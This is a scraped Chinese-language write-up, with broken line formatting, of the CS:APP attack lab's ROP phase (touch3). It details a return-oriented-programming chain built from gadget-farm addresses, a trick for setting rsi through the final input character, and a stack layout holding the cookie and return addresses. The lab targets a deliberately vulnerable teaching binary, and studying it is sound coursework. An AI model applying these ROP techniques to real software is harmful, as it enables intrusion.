COOKIE
放在栈中COOKIE
的数据不能被覆盖COOKIE
的地址COOKIE
存在栈中, 所以我们需要存储 rsp
的值到 reg
寄存器中reg
寄存器做加减法, 使得 reg
指向 COOKIE
reg
赋值给 rdi
寄存器ret
到 touch3
gadget farm
中每一段指令的第一个字节.48 89 e0: mov rsp, rax
rax
进行偏移操作. 问题: 并不存在直接更改 rax
的指令片段, 但是可以通过其他寄存器修改 rax
的值.
rdi = rax
lea
指令,使得 rax = rdi + rsi
. (问题:如何控制 rsi 的值?)rdi = rax
mov %rsp, %rax
mov %rax, %rdi
leaq (rdi, rsi, 1), rax
mov %rax, %rdi
rsi
的值?
getbuf
中的 Gets
读取一段字符串后, rsi
的值与最后一个字符有关.经过观察,我们得到,假如最后一个字符是 ‘0‘ 的话,那么 rsi = 0x30
. _____________________________________________
111 |
... purpose: set rsi=0x30 |
194 : padding "00000000" |
____________________________________________|
103 |
... |
96 : COOKIE |
____________________________________________|
95 |
... |
88 : padding "00000000" |
____________________________________________|
87 |
... |
80 : padding "00000000" |
____________________________________________|
79 |
... |
72 : RA <touch3> |
____________________________________________|
71 rdi=96 |
... 0x4019a2 |
64 : RA mov %rax,%rdi |
____________________________________________|
63 |
... 0x4019d6 |
56 : RA lea (%rdi,%rsi,1),%rax |
____________________________________________|
55 |
... 0x4019a2 |
48 : RA mov %rax,%rdi |
____________________________________________|
47 |
... 0x401a06 |
40 : RA mov %rsp,%rax |
____________________________________________|
39 |
... |
32 |
____________________________________________|
31 |
|
|
|
|
|
|
0 : buf[0] |
____________________________________________|
|
|
|
|
getbuf |
____________________________________________|
cookie: 0x59b997fa
touch3: 0x4018fa, LE: fa 18 40 00 00 00 00 00
RA: return address
原文:https://www.cnblogs.com/revc/p/14305570.html